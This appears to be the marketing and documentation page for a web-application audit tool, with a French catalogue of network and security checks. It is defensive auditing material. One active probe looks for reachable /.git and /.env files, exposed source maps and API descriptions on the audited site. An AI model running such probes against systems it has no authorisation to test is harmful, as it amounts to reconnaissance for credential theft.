Marble Minotaur
→ --forms · --probe

Three ways to run it, and you choose.

What it is allowed to do on your application is decided before the run, and restated at the top of the report.

Read only
The default. 49 probes open every screen, measure it, read the network and the page code. No action button clicked, no data written.
Forms
On request. Forms are read in detail; real submission, to read error responses and server-side validation, only happens if you allow it on a disposable environment.
Active probes
On request. 13 probes act on the application: real clicks, network cuts, a search for exposed files, replay of observed journeys. Never a delete.
→ every screen

On every screen, six questions.

What the page sends and receives

Security headers and their values, script policy, session cookies, encryption, third-party scripts without integrity checks.

What the page costs

Time to first byte, largest element painted, layout shifts, main-thread blocking, code and image weight, fonts.

Who can use it

Automated accessibility rules completed by manual checks: dialogs, focus, labels, contrast, tap targets.

On which screen

Every page at 1280, 768 and 375 px: overflow, clipped elements, areas too small for a finger.

What the calls say

Status codes that say what happened, format requested and received, caching, compression, calls repeated for every row of a list.

What the law requires

Consent banner, trackers set before consent, legal notices and terms inside the signed-in area.

Episode · Three sizes · 30 s How a screen that holds on a desktop overflows on a phone. Narration in French.
→ the whole run

What only shows when you compare everything.

A scanner grades one page at a time. These analyses only become possible once everything has been walked: they compare screens and calls with each other.

The map of functions

Which objects the application handles, what you can do with them (list, view, create, edit), and what was seen working, or only offered.

Journeys

Sequences actually observed, replayed under guardrails to check they still hold from one release to the next.

Consistency of calls

Key casing, response envelopes, date formats, error shapes: what diverges from one call to another.

Weight of calls

Median and worst case per API endpoint, compression, calls repeated for every row of a list.

Templates

A defect on 80% of screens is a fact about the application: it is reported once, not thirty times.

Change over time

Two runs compare: functions gained or lost, degraded journeys, resolved findings.

Episode · The functional map · 30 s What your application really does: 22 objects, 50 functions, and the request that proves each one. Narration in French.
→ --probeon request

The active probes, one by one.

They only run if you ask for them, and all follow the same guardrails: no deletes, no destructive label clicked, a capped budget of time and actions.

Really clicks Presses every button and action link, and records the ones that do nothing: no request, no screen change. dead-actions
Changes the settings Changes dropdowns and checkboxes, then checks whether the screen actually reacts. control-effects
Cuts the network Slows the connection and blocks API calls to see whether the screen holds, warns, or goes blank. network-resilience
Takes a dependency down Keeps a call failing to check retries and their pacing, and that a third-party outage does not take the rest down with it. failure-response
Reloads and compares Compares two loads of the same screen: what changes for no reason breaks automated tests. dom-stability
Looks for what is left lying around Server versions on display, published source maps, reachable /.git or /.env, raw error pages. exposure-probe
Reads the API description Published OpenAPI or Swagger description, open GraphQL introspection, /.well-known files. api-surface-discovery
Replays a read Repeats the same call to find out whether rate limiting exists, and whether it is announced. rate-limit
Refuses cookies Explicitly refuses consent, then checks that no third-party tracker starts again. consent-refusal
Follows outbound links Checks that links to other sites still answer. link-rot
Finds the health endpoint Spots a publicly exposed health endpoint, and what it gives away. availability-signals
Maps third parties Lists the third-party services the application calls and the SDKs it ships. api-dependency-map
Reads the forms Structure, labels, validation; and, if you allow it, real submission to read the error responses. forms
→ catalogue

The catalogue, as the report writes it.

The same sentences as in the report, grouped by family. Open a line to read what it is, an example met in the field, the risk and the fix.

The report is written in French today, and so are these checks. Family names are translated; the detail of each check is shown as the report prints it.

311 checks

Network

61

Calls between the browser and the server: count, weight, responses.

Aucune adresse ne permet de vérifier que le service est en vie health endpoint

Aucun endpoint de liveness/health public (/health, /status, /healthz…) n'a répondu. Les sondes de monitoring et load balancers externes n'ont pas de point de contrôle de disponibilité.

Example
Un load balancer ne peut pas retirer une instance en panne faute de /health interrogeable.
Risk
Détection de panne plus lente (pas de sonde externe).
Fix
Exposer un endpoint /health léger (200 + statut JSON) : ou confirmer qu’il est volontairement interne.
Certaines adresses finissent par une barre oblique et d’autres non conception des URL

Des adresses se terminent par / et d’autres non. Selon le serveur, les deux formes sont deux ressources, une redirection, ou une erreur.

Example
/api/users/ et /api/orders dans la même application.
Risk
Une redirection à chaque appel construit sans la barre.
Fix
Fixer une forme, et rediriger l’autre de façon systématique.
Demander un enregistrement inexistant fait planter le serveur 5xx sur 404 attendu

Un identifiant qui ne correspond à rien provoque une erreur serveur au lieu d’un « introuvable ». L’absence de donnée n’est pas prévue.

Example
GET /api/projects/2147483647 → 500.
Risk
Un lien périmé suffit à produire une erreur serveur.
Fix
Traiter l’absence d’enregistrement avant tout accès à ses champs, et répondre 404.
Des adresses imbriquent trois enregistrements ou plus profondeur d’imbrication

Une adresse comme /orgs/1/projects/2/tasks/3/comments demande au client de connaître trois identifiants pour lire une liste. Chaque niveau ajouté rend l’adresse impossible à construire de mémoire.

Example
/api/orgs/1/projects/2/tasks/3/comments pour lister des commentaires.
Risk
Des adresses cassées dès qu’un parent change.
Fix
Limiter l’imbrication à un niveau et exposer les ressources profondes à plat (/comments?task=3).
Des adresses portent un verbe là où la méthode le dit déjà conception des URL

Une adresse comme /getUsers ou /users/12/delete répète dans son chemin ce que la méthode HTTP (GET, DELETE) signifie déjà. Les caches et les outils qui lisent la méthode ne voient plus l’intention réelle.

Example
GET /api/getUsers là où GET /api/users suffit.
Risk
Un GET qui modifie est mis en cache ou préchargé sans intention.
Fix
Nommer les ressources par des noms et laisser la méthode HTTP dire l’action.
Écran blanc quand le réseau est lent

Rechargée sous un réseau volontairement bridé (débit faible, forte latence), la page ne rend aucun contenu : pas de squelette, pas de spinner, pas de texte. L'utilisateur ne peut pas distinguer « ça charge » de « c'est cassé ».

Example
SPA dont tout le rendu attend le bundle JS : tant que le script n'est pas arrivé, le <body> reste vide.
Risk
Abandon immédiat des visiteurs mobiles ou en connexion dégradée.
Fix
Servir un rendu initial non vide (SSR, HTML statique ou squelette) et afficher un état de chargement explicite tant que les données ne sont pas là.
L’essai de panne réseau n’a pas pu être mené

La sonde de résilience réseau n'a pas pu se dérouler sur cette page (session de debug indisponible, page fermée pendant le test, interception refusée). Le constat porte sur l'outil de mesure, pas sur l'application : le comportement sous réseau dégradé reste inconnu ici.

Example
Ouverture de la session CDP refusée par le navigateur ou l'environnement d'exécution.
Risk
Angle mort : la résilience réseau de cette page n'est ni validée ni infirmée.
Fix
Rejouer l'audit avec --probe sur un navigateur Chromium stable et une page qui ne navigue pas d'elle-même ; si l'échec persiste, lire le message d'erreur du constat pour identifier la contrainte d'environnement.
La même donnée est demandée plusieurs fois sur un écran overfetch

Une même requête GET est émise plusieurs fois à l’identique sur la page. Absence de déduplication ou de cache client.

Example
Deux composants montés en parallèle qui chargent chacun GET /api/me.
Risk
Réseau gaspillé.
Fix
Mutualiser via un cache de requêtes (React Query/SWR) ou hisser l’appel plus haut dans l’arbre.
La page dépend lourdement de services extérieurs

La page charge de nombreuses ressources depuis des domaines tiers (CDN externes, analytics, ads). Performance dégradée et risque de fuite de données.

Example
30+ requêtes vers Google Tag Manager, Hotjar, Intercom, Sentry, etc.
Risk
Performance dégradée (chaque tiers ajoute du DNS + handshake).
Fix
Auditer les tiers, retirer les non essentiels, auto-héberger les polices.
La pagination ne se fait pas de la même façon partout

La pagination diverge entre endpoints : stratégies différentes (page vs offset vs cursor) ou noms de paramètres différents (limit vs pageSize).

Example
/api/users?limit=20 et /api/orders?pageSize=20.
Risk
Le client doit réapprendre la pagination à chaque endpoint.
Fix
Standardiser une stratégie et un jeu de paramètres de pagination pour toute l’API.
La vitesse réellement vécue n’est mesurée nulle part Real User Monitoring

Aucun reporting Web Vitals / RUM détecté. La performance réellement perçue par les utilisateurs n'est pas mesurée.

Example
Aucune lib web-vitals ni beacon Datadog/New Relic observé.
Risk
Régressions de perf invisibles.
Fix
Envoyer les Core Web Vitals (LCP/CLS/INP) vers un backend RUM.
Le même appel refuse une saisie invalide avec des codes différents selon les fois 400 / 422 / 500

Un même endpoint répond tantôt 400, tantôt 422, tantôt 500 pour ce qui ressemble à la même nature d'échec de validation. Le client ne peut pas écrire un traitement d'erreur unique pour ce point : il doit gérer plusieurs codes pour un seul cas.

Example
POST /api/orders répond 422 une fois avec { "violations": [...] }, puis 500 une autre fois pour une saisie du même genre.
Risk
Traitement d'erreur client dupliqué (un cas par code observé).
Fix
Faire converger le point d'entrée vers un seul code pour une même nature d'échec (422 pour une validation, jamais 500).
Le serveur a limité le débit de l’audit HTTP 429

Le serveur a répondu 429 (Too Many Requests) : la requête a été throttlée. C’est un mécanisme de protection attendu, pas une panne. Il est souvent déclenché par un volume élevé de requêtes rapprochées (crawl agressif, beacons de reporting du navigateur comme les rapports CSP).

Example
De nombreux POST /csp-report -> 429 : le navigateur envoie des rapports de violation CSP que l’app rate-limite.
Risk
En général bénin ici : back-pressure normale du serveur.
Fix
Ignorer sur les endpoints de reporting (bruit attendu). Sur une API métier : espacer/debattre les appels côté client, ou relever le seuil côté serveur.
Le serveur a refusé le format demandé ou envoyé 406 / 415

Un appel a répondu 406 (format demandé non disponible) ou 415 (format envoyé non accepté). Le client et l’API ne s’accordent pas sur la façon d’échanger.

Example
POST /api/upload → 415 parce que le corps est envoyé en JSON là où le serveur attend un formulaire.
Risk
Un appel perdu, souvent sans message pour la personne.
Fix
Aligner l’en-tête envoyé par le client sur ce que le serveur accepte, ou élargir ce que le serveur accepte.
Le serveur fournit un validateur de cache et ne le respecte pas If-None-Match sans 304

La réponse porte un ETag ou un Last-Modified, mais une requête conditionnelle reçoit le corps entier au lieu d’un 304. Le validateur coûte des octets et n’en économise aucun.

Example
GET /api/users avec ETag: "abc" → rejoué avec If-None-Match: "abc" → 200 et le corps complet.
Risk
Un cache navigateur qui ne sert jamais.
Fix
Comparer le validateur reçu côté serveur et répondre 304 quand il correspond.
Le serveur ne dit pas au navigateur s’il peut garder une réponse ETag / Last-Modified

Une réponse GET est servie sans ETag/Last-Modified ni Cache-Control. Le navigateur ne peut pas revalider par 304 et re-télécharge tout le corps.

Example
GET /api/config sans en-tête de cache → rechargé intégralement à chaque visite.
Risk
Bande passante gaspillée sur des données inchangées.
Fix
Ajouter ETag/Last-Modified et un Cache-Control adapté à la volatilité de la donnée.
Le serveur refuse une demande 4xx

Une requête réseau a renvoyé un 4xx (400, 401, 403, 404...). Soit un bug d'intégration, soit un état non géré.

Example
API /me répond 401 après expiration de session → UI affiche des données vides.
Risk
Bug fonctionnel silencieux.
Fix
Gérer explicitement chaque code 4xx côté UI (redirection login pour 401, message clair pour 404).
Le serveur répond en HTML à un client qui demandait des données Accept / Content-Type

Le navigateur a demandé du JSON et a reçu une page HTML avec un code de succès. Le client analyse une page (souvent une page de connexion) comme des données.

Example
GET /api/me avec Accept: application/json → 200 text/html (page de connexion).
Risk
Une erreur d’analyse à la place d’un message de session expirée.
Fix
Répondre 401 en JSON sur les appels d’API, jamais une page HTML.
Le serveur répond par une erreur 5xx

Une requête réseau a renvoyé un code 500-599. Le backend a échoué.

Example
API /api/orders répond 500 → liste commandes vide pour l'utilisateur.
Risk
Fonctionnalité indisponible, escalade support.
Fix
Vérifier les logs serveur, ajouter un toast d'erreur côté UI.
Le tri ou le filtre se demande sous des noms différents selon l’appel paramètres de requête

Un endpoint trie par sort, un autre par orderBy ; l’un cherche avec q, l’autre avec search. Le même geste s’écrit différemment selon l’appel.

Example
?sort=name sur /users, ?orderBy=date sur /orders.
Risk
Un composant de liste générique impossible à réutiliser.
Fix
Nommer les paramètres de tri, de filtre et de recherche une seule fois, pour toute l’API.
Les adresses d’appel ne suivent pas un seul schéma versioning

Certains endpoints sont versionnés dans l’URL (/v1/…) et d’autres ne le sont pas. Le contrat de versioning n’est pas uniforme.

Example
/api/v1/users coexiste avec /api/orders (sans version).
Risk
Stratégie d’évolution ambiguë.
Fix
Versionner toute l’API de la même façon (préfixe /v1/ global ou en-tête de version).
Les erreurs ne sont pas décrites de la même façon partout format d’erreur

Les réponses en erreur (status ≥ 400) n’adoptent pas la même enveloppe JSON d’un endpoint à l’autre : Problem+JSON ({type,title,status,detail}) ici, {error} là, {message} ou {errors:[…]} ailleurs, voire une chaîne brute. Un client ne peut pas centraliser sa gestion d’erreurs.

Example
/api/users (422) renvoie { "type": "...", "title": "Validation failed" } mais /api/orders (400) renvoie { "error": "Bad request" }.
Risk
Gestion d’erreur dupliquée et fragile côté client (un parseur par format).
Fix
Standardiser une enveloppe d’erreur unique pour toute l’API, de préférence Problem+JSON (RFC 9457).
Les erreurs vécues par les personnes ne sont remontées nulle part error tracking

Aucun SDK de suivi d'erreurs (Sentry, Bugsnag, LogRocket) n'a été détecté. Les erreurs JavaScript vécues par les utilisateurs ne remontent nulle part.

Example
Une exception non gérée casse un formulaire en prod sans qu'aucune alerte ne soit émise.
Risk
Bugs invisibles en production.
Fix
Intégrer un outil de suivi d'erreurs frontend (Sentry, Bugsnag…) avec source maps.
Les listes ne sont pas emballées de la même façon d’un appel à l’autre enveloppe

Les endpoints qui renvoient des listes ne les encapsulent pas de la même manière : tableau nu ici, {data:[…]} ou {items:[…]} ailleurs.

Example
/api/users renvoie […] mais /api/orders renvoie { "data": […] }.
Risk
Impossible d’écrire un client générique de liste.
Fix
Adopter une enveloppe unique pour toutes les collections (ex. { data, meta }).
Les noms de champs ne suivent pas une seule convention camelCase / snake_case

Les réponses de l’API mélangent camelCase et snake_case pour nommer les clés JSON, d’un endpoint à l’autre. Le client doit gérer les deux conventions.

Example
/api/users renvoie userId, /api/orders renvoie order_id.
Risk
Code client alourdi (mapping/normalisation).
Fix
Choisir une convention unique (camelCase ou snake_case) et l’appliquer à toute l’API.
Les réponses du serveur voyagent sans compression Content-Encoding

Une réponse API JSON volumineuse est servie sans compression (gzip/brotli). Le texte JSON se compresse pourtant très bien.

Example
Un GET /api/list de 200 Ko servi sans Content-Encoding → 5× plus d’octets qu’en brotli.
Risk
Transfert plusieurs fois plus lourd pour un gain quasi gratuit.
Fix
Activer la compression (gzip/brotli) sur les réponses API au niveau serveur ou reverse-proxy.
Même les appels les plus simples prennent du temps plancher de latence

Les trois quarts des endpoints dépassent un même seuil de latence. Le coût n’est propre à aucun handler : il est payé par toute requête, ce qui pointe vers l’infrastructure ou l’absence de cache.

Example
Des pages purement statiques (mentions légales, CGU) répondant aussi lentement que les pages de données.
Risk
Coût payé sur chaque navigation : c’est souvent l’essentiel de la lenteur ressentie.
Fix
Chercher en amont du handler : absence de cache CDN, edge froid, middleware exécuté sur chaque requête, redirection systématique.
Un appel au serveur est lent

Une requête API met un temps anormalement long à répondre (latence bout-en-bout). Elle retarde l’affichage des données.

Example
Un GET /api/report qui prend 3 s → le tableau reste vide pendant plusieurs secondes.
Risk
Perception de lenteur, abandon utilisateur.
Fix
Profiler côté serveur : index, cache, pagination, réduction du travail par requête.
Un appel au serveur est lent même en temps normal médiane

Mesuré sur l’ensemble du crawl, cet endpoint est lent **à chaque appel**, pas seulement lors d’un pic. La médiane, et non un accident isolé, dépasse le seuil.

Example
Un POST /campaigns/new à 756 ms de médiane sur 18 appels : la création dépasse la seconde ressentie à tous les coups.
Risk
Lenteur permanente et prévisible, ressentie par tous les utilisateurs.
Fix
Profiler le handler : requêtes N+1, index manquant, appel externe synchrone. Comparer avec un endpoint rapide de la même app pour isoler le coût propre.
Un appel en échec

Requête HTTP identifiée directement comme en échec, sans correspondance plus fine dans le HAR. Le diagnostic s’appuie alors sur l’entrée d’erreur elle-même.

Example
DELETE /api/item/42 -> 500 sans requête voisine à corréler.
Risk
Opération échouée côté utilisateur.
Fix
Reproduire l’appel en isolation (curl/Postman) pour distinguer un bug applicatif d’un souci d’environnement.
Un appel en échec lié à une erreur de la page

Une erreur HTTP a été rapprochée des requêtes réseau capturées qui correspondent à la même cible. Permet de relier un symptôme (échec) aux appels concrets qui l’ont produit.

Example
Un POST /api/save -> 500 mis en correspondance avec la requête exacte du HAR.
Risk
Opération métier échouée (sauvegarde, chargement) côté utilisateur.
Fix
Inspecter la requête corrélée (méthode, payload, statut) et corriger la cause côté serveur ou client.
Un appel envoie des corps de requête lourds p90 des octets envoyés

Neuf envois sur dix vers cet appel dépassent le seuil de poids. Sur un réseau mobile, le débit montant est le plus faible, et c’est lui qui paie.

Example
Un POST /api/documents qui envoie le document entier à chaque enregistrement automatique.
Risk
Une saisie lente à enregistrer sur mobile.
Fix
Envoyer les différences, compresser le corps, ou déplacer les pièces jointes dans un envoi séparé.
Un appel est parfois très lent, comme au réveil p90 / cold start

La médiane est saine mais le pire cas s’en écarte massivement. Signature d’un démarrage à froid (fonction serverless), d’une contention base ou d’un cache qui expire.

Example
Un endpoint à 200 ms de médiane qui atteint 6,4 s au pire : un facteur ×32.
Risk
Lenteur vécue comme aléatoire et donc difficile à signaler, ce qui la rend rarement corrigée.
Fix
Vérifier le cold start (provisioned concurrency, warm-up), le pool de connexions et l’expiration du cache. Attention : un audit avec --probe génère des rafales qui peuvent gonfler le pire cas.
Un appel lié à l’erreur observée

Requête réseau capturée et rattachée à un diagnostic (erreur HTTP ou console). Sert de preuve technique : méthode, URL, statut et phase de capture.

Example
GET /api/list -> 404 capturé pendant la phase de chargement de page.
Risk
Indique le point de défaillance réseau exact à investiguer.
Fix
Utiliser la requête comme point de départ du débogage (rejouer l’appel, vérifier le payload et la réponse).
Un appel n’est jamais compressé Content-Encoding

Aucune des réponses de cet appel n’est compressée, alors que leur taille habituelle le justifierait. Le JSON se compresse quatre à dix fois pour un coût serveur négligeable.

Example
Un GET /api/catalog à 40 ko par réponse, servi tel quel.
Risk
Plusieurs fois plus d’octets sur le réseau pour rien.
Fix
Activer la compression (brotli ou gzip) pour les réponses JSON au niveau du serveur ou du CDN.
Un appel renvoie des réponses lourdes même en temps normal p90 des octets de réponse

Neuf réponses sur dix de cet appel dépassent le seuil de poids, sur l’ensemble du passage. Ce n’est pas un accident isolé : c’est la taille habituelle de ce que l’appel renvoie.

Example
Un GET /api/projects à 800 ko par réponse, sans pagination ni sélection de champs.
Risk
Temps de chargement et mémoire dégradés, surtout sur mobile.
Fix
Paginer, laisser le client choisir les champs, ou séparer la liste du détail.
Un appel vers une API tierce part sans aucun marqueur de version API version pinning

Un appel vers une API tierce connue pour exiger un pinning de version (chemin /vN/, paramètre version, en-tête dédié comme Stripe-Version) est observé sans aucun de ces marqueurs sur l'ensemble des appels vers cet hôte.

Example
Tous les appels vers api.stripe.com observés omettent l'en-tête Stripe-Version.
Risk
Un changement non annoncé côté fournisseur peut casser l'intégration sans que l'équipe n'ait pu choisir le moment de la migration.
Fix
Épingler explicitement la version de chaque API tierce appelée (en-tête, paramètre ou chemin dédié).
Un diagnostic réseau ou console

Regroupe les corrélations entre erreurs (console/HTTP) et requêtes réseau. Voir le code de corrélation précis pour le détail du symptôme et de la cause probable.

Example
Erreur console rapprochée d’une requête 500.
Risk
Symptôme d’un problème réseau/backend sous-jacent.
Fix
Suivre la requête corrélée jusqu’à sa cause racine (endpoint, payload, gestion d’erreur côté client).
Un écran appelle la même route pour des dizaines d’enregistrements N+1

Une même route de détail est appelée pour des dizaines d’identifiants différents sur un seul écran. Chaque appel est court ; ensemble ils font l’attente, et leur nombre croît avec les données.

Example
Une liste de 40 projets qui appelle GET /api/projects/:id quarante fois pour afficher un nom.
Risk
Un écran qui ralentit à mesure que les données grandissent.
Fix
Renvoyer les données nécessaires dans l’appel de liste, ou exposer un appel par lot.
Un écran fait trop d’appels au serveur

La page déclenche un grand nombre de requêtes vers l’API. Chaque appel ajoute de la latence, de la charge serveur et un point de défaillance supplémentaire.

Example
Un tableau de bord qui charge chaque widget par un appel distinct → 40+ requêtes au montage.
Risk
Temps de chargement dégradé, surtout sur réseaux lents.
Fix
Regrouper les appels (batch, endpoint agrégé, BFF/GraphQL) et supprimer les N+1 côté client.
Un écran interroge le serveur en boucle polling

Le même endpoint est interrogé de façon répétée sur la page. Un polling trop fréquent gaspille réseau, batterie et ressources serveur.

Example
Un GET /api/notifications appelé toutes les 2 s même onglet inactif.
Risk
Charge serveur inutile.
Fix
Passer à du push (SSE/WebSocket), élargir l’intervalle, ou suspendre le polling hors focus.
Un écran télécharge un volume de données inhabituel

La somme des réponses API téléchargées sur la page est élevée. Beaucoup d’octets à transférer, parser et garder en mémoire.

Example
Un endpoint qui renvoie 3 Mo de JSON incluant des champs jamais affichés.
Risk
Bande passante et mémoire gaspillées (impact fort sur mobile).
Fix
Ne renvoyer que les champs utiles (sparse fieldsets), paginer, et compresser les réponses.
Un enregistrement inexistant est servi comme s’il existait 404 attendu

Demander un enregistrement avec un identifiant qui n’existe pas renvoie un succès. Le client ne peut pas distinguer une fiche vide d’une fiche absente.

Example
GET /api/projects/2147483647 → 200 avec un corps vide ou null.
Risk
Des écrans vides à la place d’un message clair.
Fix
Répondre 404 quand l’enregistrement n’existe pas.
Un incident ne peut pas être suivi de l’écran jusqu’au serveur traceparent

Aucun en-tête traceparent (W3C Trace Context) n'a été observé sur les requêtes. Le front et le backend ne partagent pas de trace commune.

Example
Une requête API sans traceparent → impossible de la relier à sa trace serveur.
Risk
Corrélation front/back impossible lors d'un incident.
Fix
Propager traceparent depuis le front (OpenTelemetry browser SDK) vers les APIs.
Un même appel ne renvoie pas toujours les mêmes champs contrat API

Le même appel a répondu avec des ensembles de champs différents pendant le passage : un champ présent ici manque là. Le client doit prévoir chaque forme.

Example
GET /api/users/:id renvoie parfois role, parfois non.
Risk
Des erreurs d’affichage intermittentes, difficiles à reproduire.
Fix
Renvoyer toujours les mêmes champs, null quand la valeur manque, et décrire la réponse dans un schéma.
Un même appel ne répond pas toujours par le même code

Le même appel d'API a répondu avec des codes différents pendant l'audit (par exemple 200 puis 429). L'application ne peut pas s'appuyer sur une réponse stable.

Example
GET /api/notifications/unread-count : 200 la plupart du temps, 429 par moments.
Risk
Un compteur ou une liste qui disparaît par intermittence.
Fix
Identifier la cause du second code (limitation de débit, cache, session) et la traiter côté serveur ou côté client (retry, message).
Un même appel répond dans deux formats Content-Type par appel

Le même appel répond en JSON quand il réussit et dans un autre format quand il échoue. Le client doit deviner le format avant de lire.

Example
GET /api/orders : application/json en 200, text/html en 500.
Risk
Des erreurs jamais structurées, donc jamais affichées correctement.
Fix
Répondre dans le même format en succès et en erreur, avec un corps d’erreur structuré.
Un même champ change de type d’un appel à l’autre contrat API

Le même champ est arrivé avec des types différents pendant le passage : un nombre ici, une chaîne là. Le client doit convertir à l’aveugle.

Example
id en nombre sur la liste, en chaîne sur la fiche.
Risk
Des comparaisons fausses en silence.
Fix
Fixer le type de chaque champ dans un schéma et sérialiser toujours de la même façon.
Une demande au serveur a échoué

Une requête HTTP a répondu avec un statut d’erreur (4xx/5xx) ou la page elle-même résout en 404. L’utilisateur voit soit une page manquante, soit une fonctionnalité qui échoue silencieusement.

Example
GET /api/members -> 500 : la liste des membres ne se charge pas.
Risk
Écran vide ou données manquantes sans message clair pour l’utilisateur.
Fix
Corriger l’endpoint côté serveur (5xx) ou l’URL/route côté client (4xx). Toujours afficher un état d’erreur explicite plutôt qu’un écran muet.
Une écriture répond avec un code que sa méthode ne signifie pas codes 2xx par méthode

Un DELETE qui répond 201, un PATCH qui répond 202 sans traitement différé : le code ne dit pas ce qui a été fait.

Example
DELETE /api/users/12 → 201 Created.
Risk
Un client qui déduit à tort qu’une ressource a été créée.
Fix
Répondre 200 ou 204 à une suppression, 201 à une création, 202 seulement pour un traitement différé.
Une erreur de la page liée à un appel en échec

Une erreur affichée dans la console du navigateur a été rapprochée d’une ou plusieurs requêtes réseau en échec survenues au même moment. Le message console est le symptôme, la requête est souvent la cause.

Example
Failed to load resource: 500 dans la console, corrélé à un GET /api/x -> 500.
Risk
Fonctionnalité dégradée dont la cause racine est côté réseau/backend.
Fix
Suivre la requête corrélée : corriger l’endpoint en échec, puis vérifier que le code client gère proprement la réponse d’erreur.
Une famille d’appels est plus lente que les autres préfixe d’URL

La même ressource est joignable avec et sans un segment de préfixe (typiquement une locale), à des coûts radicalement différents. L’écart mesure ce que la couche de routage ajoute par-dessus le handler.

Example
GET /settings répond en 41 ms quand GET /fr/settings prend 526 ms : soit ×13 pour la même page.
Risk
Le surcoût frappe la version réellement visitée par les utilisateurs, la variante rapide n’étant qu’un artefact interne.
Fix
Inspecter le middleware de routage / i18n : rendu à chaque requête, redirection de locale, absence de cache sur la variante préfixée.
Une lecture interdit au navigateur de garder quoi que ce soit Cache-Control: no-store

La réponse porte no-store : rien ne peut être conservé, et chaque visite retélécharge tout. Pour des données qui changent peu, un validateur permettrait un 304 sans corps.

Example
GET /api/config servi avec Cache-Control: no-store alors que la configuration ne change pas.
Risk
Des octets retéléchargés à chaque écran.
Fix
Réserver no-store aux données sensibles ; ailleurs, fournir un ETag et no-cache ou une durée de fraîcheur.
Une lecture semble en fait modifier des données GET mutant

Un verbe GET est utilisé sur un chemin évoquant une mutation (delete/create/update…). Un GET doit être sûr et idempotent : il ne doit jamais modifier d’état.

Example
GET /api/users/5/delete → un préchargement, un crawler ou un cache peut le rejouer et supprimer la ressource.
Risk
Mutation involontaire via préchargement, cache ou re-navigation.
Fix
Utiliser le verbe adéquat : POST (création), PUT/PATCH (mise à jour), DELETE (suppression).
Une liste est envoyée en entier au lieu d’être paginée

Un endpoint renvoie une collection volumineuse sans marqueur de pagination. Le payload grossit avec les données, sans borne.

Example
GET /api/users renvoyant les 5000 utilisateurs d’un coup, sans page/limit/cursor.
Risk
Mémoire et temps de rendu qui explosent à l’échelle.
Fix
Introduire une pagination (offset ou cursor) avec un contrat stable et une taille de page par défaut.
Une même notion porte plusieurs noms selon l’appel

Un même concept est désigné par des mots différents selon l’endpoint, au-delà d’une simple différence de casse. Le client doit connaître plusieurs noms pour la même donnée.

Example
createdAt sur /api/users mais creationDate sur /api/orders pour l’horodatage de création.
Risk
Charge cognitive et code client dispersé (chaque endpoint a son propre vocabulaire).
Fix
Choisir un terme unique par concept et l’appliquer partout (p. ex. toujours createdAt / updatedAt). La casse est traitée séparément.
Une même ressource est identifiée sous plusieurs formes format des identifiants

La même ressource est adressée tantôt par un nombre, tantôt par un identifiant universel (uuid) ou un autre format. Le client ne sait pas quelle forme construire.

Example
/api/users/12 et /api/users/6f1e2a3b-… pour la même collection.
Risk
Des liens construits avec le mauvais identifiant.
Fix
Exposer un seul format d’identifiant par ressource, et le documenter.
Une même ressource est nommée au singulier ici et au pluriel là conception des URL

La même ressource apparaît sous deux formes dans les adresses (/user/12 et /users). Le client doit retenir laquelle vaut pour quel appel.

Example
/api/user/12 pour la fiche, /api/users pour la liste.
Risk
Des erreurs 404 sur des adresses construites par déduction.
Fix
Choisir une convention (le pluriel est l’usage) et l’appliquer à toutes les adresses.
Une même valeur est écrite de plusieurs façons dates ISO / epoch

Une même clé porte des valeurs de format hétérogène selon l’endpoint : dates en ISO 8601 ici et en timestamp epoch là, ou booléens tantôt true/false, tantôt 0/1 ou "yes"/"no". Le client doit deviner le format au cas par cas.

Example
createdAt vaut "2026-01-01T00:00:00Z" sur /api/users et 1730000000 sur /api/orders.
Risk
Parsing conditionnel et bugs de conversion (dates décalées, booléens mal interprétés).
Fix
Fixer un format unique par type : ISO 8601 pour les dates/horodatages, booléens JSON natifs (true/false).
Une réponse annonce un succès et transporte une erreur 2xx avec { error }

Le code de réponse dit que tout s’est bien passé, et le corps dit le contraire. Tout ce qui lit le code sans le corps (caches, sondes, journaux) croit à un succès.

Example
200 OK avec { "error": "not allowed" }.
Risk
Des erreurs invisibles dans la supervision.
Fix
Répondre avec le code qui dit l’échec (4xx ou 5xx) et un corps structuré.
Une réponse texte ne déclare pas son encodage charset

Une réponse text/* arrive sans paramètre charset. Le navigateur devine, et les accents dépendent de la plateforme.

Example
Content-Type: text/plain sans ; charset=utf-8.
Risk
Des caractères corrompus selon le navigateur ou le système.
Fix
Ajouter ; charset=utf-8 aux réponses texte.

Security

53

What protects data and sessions from a third party.

Aucun bouclier ne filtre le trafic avant le serveur CDN / WAF

Aucun marqueur de CDN/WAF (Cloudflare, Akamai, Fastly, CloudFront) n'a été détecté sur la réponse du document : l'origine semble exposée directement.

Example
Aucun en-tête cf-ray/x-served-by ; Server: nginx exposé en direct.
Risk
Origine exposée aux attaques volumétriques/applicatives.
Fix
Placer un CDN/WAF (Cloudflare, Akamai…) devant l'origine.
Aucun moyen de se déconnecter n’a été trouvé

Sur une zone authentifiée, aucun moyen de se déconnecter n’a été repéré (bouton/lien logout, menu compte). L’utilisateur ne peut pas fermer sa session explicitement.

Example
Un poste partagé où la session reste ouverte faute de bouton « Se déconnecter ».
Risk
Session laissée ouverte sur un appareil partagé → accès non autorisé.
Fix
Exposer un contrôle de déconnexion visible et accessible depuis toute la zone authentifiée.
Aucun second facteur n’est proposé à la connexion aucun signal OTP/clé de sécurité/API d’identifiants

L’écran de connexion observé ne montre aucun signal de second facteur : ni champ pour un code à usage unique, ni bouton pour une clé de sécurité, ni appel à l’API d’identifiants du navigateur. Un mot de passe seul, une fois compromis, suffit alors à prendre le compte. Un second facteur qui n’apparaît qu’après l’envoi des identifiants (un écran de vérification distinct) n’est repéré qu’en audit authentifié, qui revérifie l’écran atteint une fois connecté ; un audit sans identifiants ne voit que l’écran de connexion lui-même.

Example
La connexion se limite à un email et un mot de passe, sans étape supplémentaire même pour un compte administrateur.
Risk
Une seule donnée compromise (le mot de passe) suffit à prendre le compte.
Fix
Proposer un second facteur résistant au hameçonnage (clé de sécurité, application d’authentification) au moins pour les comptes à privilèges.
Aucune règle ne limite les scripts autorisés à s’exécuter Content-Security-Policy

L'application ne déclare aucun en-tête Content-Security-Policy. En cas de faille XSS (même mineure dans une dépendance), un attaquant a les pleins pouvoirs : exécution de scripts arbitraires, exfiltration de données, vol de session, détournement d'actions utilisateur.

Example
Une dépendance front (lib markdown, composant tiers) reçoit une CVE XSS → sans CSP, un attaquant peut voler les cookies dès qu'un utilisateur affiche un contenu manipulé.
Risk
Vol massif de sessions et de données utilisateur en cas d'XSS.
Fix
Déclarer une CSP de base (default-src 'self'; object-src 'none'; frame-ancestors 'none') puis durcir progressivement en autorisant les origines réellement nécessaires.
Caméra, micro et géolocalisation ne sont pas explicitement interdits Permissions-Policy

